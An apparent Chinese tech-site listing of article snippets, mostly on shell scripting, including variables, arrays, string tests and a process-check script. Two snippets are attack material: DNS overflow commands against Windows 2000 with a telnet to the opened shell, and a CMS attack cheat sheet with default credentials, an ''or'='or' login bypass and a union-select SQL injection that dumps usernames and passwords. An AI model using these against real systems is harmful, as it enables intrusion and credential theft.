Time of Update: 2014-06-16
標籤:des style class blog code java 1. 文法與選項 Short Option Long Option Option Description -c –bytes print the byte counts
Time of Update: 2014-05-29
標籤:c class blog code a int Linux下很多命令用起來真相當方便,尤其是進行批處理操作時。(話說感覺這種程式也不複雜,windows咋一直不搞一個好用的shell呢)
Time of Update: 2014-05-24
標籤:style class blog c code java 指令碼監控:擷取最大控制代碼數的進程:連結分析:指令碼片段: case "$handle" in 2) echo "The handle of the process : "
Time of Update: 2018-12-05
若變數為空白,可以使用 := 設定一個預設值,文法為:${var:=defaultValue}樣本:在Terminal中輸入下列命令:jubincn@ubuntu:~$ echo ${bank:=ICBC}ICBCjubincn@ubuntu:~$ echo bankICBCjubincn@ubuntu:~$ bank=CCBjubincn@ubuntu:~$ echo bankCCB在下面的樣本中,若未設$1參數,die函數將賦予其一個預設值。die(){ local error=${1
Time of Update: 2018-12-05
1、2000系統 簡要說一下如何進行DNS溢出攻擊。我用的溢出利用程式是dns.exe,在CMD下運行它可以看到它的使用參數等資訊。執行"dns -s IP"命令檢測目標IP是否存在DNS溢出漏洞。在圖中我們可以看出目標主機存在DNS溢出漏洞,作業系統為Windows 2000!接著我們進行溢出攻擊,執行"dns -t 2000all IP 1207"後提示要我們檢測返回的1100連接埠的shell。"telnet IP
Time of Update: 2018-12-05
文章目錄 變數賦值和引用if 語 句&& 和 || 操作符case 語句select 語句 ========================================while/for 迴圈引號二進位到十進位的轉換檔案迴圈拷貝
Time of Update: 2018-12-05
一個思路是利用awk,首先在awk的BEGIN中構造出一個字元到ascii碼或數位轉換表,然後讀入待轉換的字元查表輸出相應的轉換碼。下面的一個範例程式碼實現了字母A-Z到數字1-26的轉換,因為shell在語言層次全是字串,所以這個轉換稱為一個字元到另一個字元的映射更妥。 digit=`echo ${letter} | awk -v letter_cnt=26 ' BEGIN{
Time of Update: 2018-12-05
武漢大學國際軟體學院 2010級國際2班 李三乎 好久沒寫日誌了,今天寫一個。 對於一種新的語言的學習,最近感覺書上還是很經典的,雖然從標識符開始講很讓人不爽,但是現在發現要想快速掌握一門語言的話按照書上的結構還是很正確的。當然只是說書上的結構,內容有的還是偏容易。
Time of Update: 2018-12-05
linux腳中經常會遇到貨幣符號 ($),以下是他們代表的含義:$0 shell的命令本身(包括完整路徑) $1到$9 數字表示shell 的第幾個參數 $# 傳遞到指令碼的參數個數 $* 以一個單字串顯示所有向指令碼傳遞的參數 $$ 指令碼啟動並執行ID號 $! 後台啟動並執行最後一個進程的ID號 $@ 與$*相同。 $- 顯示shell使用的當前選項。 $? 顯示最後命令的執行狀況。0表示沒有錯誤。 舉個例子:test.sh代碼#!/bin/bashecho "\$0
Time of Update: 2018-12-08
本文為大家介紹linxu shell中數組的相關知識,並舉了很多例子供參考,包括數組的複製,計算,刪除,替換等,是學習shell 數組的不可多得的好文章。數組的聲明:1)array[key]=value # array[0]=one,array[1]=two2)declare -a array # array被當作數組名3)array=( value1 value2 value3 ... )4)array=( [1]=one [2]=two [3]=three ...
Time of Update: 2018-12-08
比較兩個字串是否相等的辦法是: if [ "$test"x = "test"x ]; then 這裡的關鍵有幾點: 1 使用單個等號 2 注意到等號兩邊各有一個空格:這是unix shell的要求 3 注意到"$test"x最後的x,這是特意安排的,因為當$test為空白的時候,上面的運算式就變成了x = testx,顯然是不相等的。而如果沒有這個x,運算式就會報錯:[: =: unary operator expected 二元比較操作符,比較變數或者比較數字.注意數字與字串的區別.
Time of Update: 2018-12-05
點(.)命令 點(.)命令是一個shell內部命令,它可以使使用者在當前的shell中執行程式,而不建立子進程。注釋# shell指令碼的注釋符號重新導向符> 用法:command > filename,可以將command的輸出儲存在filename檔案中。>> 同 > 類似,但表示追加。< 用法:command < filename,可以將filename檔案內容作為command的輸入。<< 與 < 類似,
Time of Update: 2018-12-05
setuid on shell scriptsRunning software as root without requiring a root password is the subject of a number of tutorials on the web, and although it may seem a little bit confusing, it's fairly simple. Inevitably, users want to run shell scripts as
Time of Update: 2018-12-07
常見的shell:--------------來源於“鳥哥的LINUX私房菜”由於早年的 Unix 年代,發展者眾,所以由於 shell 依據發展者的不同就有許多的版本,例如常聽到的 Bourne SHell (sh) 、在 Sun 裡頭預設的 C SHell、 商業上常用的 K SHell, 還有 TCSH 等等,每一種 Shell 都各有其特點。至於 Linux 使用的這一種版本就稱為『 Bourne Again SHell (簡稱 bash ) 』,這個 Shell 是 Bourne
Time of Update: 2018-12-07
預設:admin adminadmin admin888'or'='or'預設資料庫Databases/079lidc.mdb改樣式上傳:http://www.yangtong.com/admin/southidceditor/admin_style.asp抓包 明小子上傳 注:通殺南方資料 良精系統 網軟天下等 http://www.xxx.cn/NewsType.asp?SmallClass=' union select 0,username+CHR(124)+password,2,3,
Time of Update: 2018-12-07
使用Shell向syslog記錄檔寫入資訊應用程式使用syslog協議發送資訊給Linux系統的記錄檔(位於/var/log目錄)。sysklogd提供兩個系統工具:一個是系統日誌記錄,另一個是核心資訊捕獲。通常大多程式都使用C語言或者syslog應用程式或庫來發送syslog訊息。1、logger命令是一個Shell命令(介面)。可以通過該介面使用syslog的系統日誌模組,直接向系統記錄檔寫入一行資訊。2、樣本比如,記錄硬碟升級後的系統重啟資訊:$ logger System
Time of Update: 2018-12-07
一、安裝 Serv-U二、配置 Serv-U1. 開啟 Serv-U Administrator。2. 建立FTP域 選擇 Serv-U 伺服器 » 本機伺服器 » 域,右鍵 建立域。 域IP地址:原生IP地址(192.168.1.X), 網域名稱:ftp.domain.com, 連接埠號碼:213. Serv-U使用者的使用權限設定 1)建立使用者 選擇 Serv-U 伺服器 » 本機伺服器 » 域 » ftp.domain.
Time of Update: 2014-06-10
EMACS如果Bash在shell啟動時,在環境中發現這個變數的值是 ‘t’,則會認為shell在Emacs shell緩衝區中運行,而禁止行編輯。ENV類似於BASH_ENV,在shell以POSIX模式調用時使用。(見Bash
Time of Update: 2014-01-10
背景任何程式運行起來免不了產生很多日誌,其中錯誤記錄檔需要最為關心的。在某些時候會將錯誤記錄檔和正常日誌分開,但我們的系統卻沒有這麼做。更麻煩的是,每個小時儲存一個記錄檔,所以每次為了尋找當天是否有錯誤資訊需要開啟N個檔案,而且不能用grep因為需要把整個堆棧抓取下來。SHELL本人對shell完全是初學,磕磕碰碰寫了個指令碼。主要邏輯是判斷ERROR的記錄層級的那一行開始記錄,直到碰到下一個INFO或者DEBUG的記錄層級行。#!/bin/bashisInErrorBlock=falsestr
Time of Update: 2013-12-28
#!/bin/bashNAME=javaNOP=/bin/trueDATE=$(/bin/date +"%Y-%m-%d %H:%M:%S")ps -ef | awk -F " " '{print $8,$2}' | grep ^java >/dev/null 2>&1case "$?" in0)# It is running in this case so we do nothing.echo "$NAME is RUNNING OK.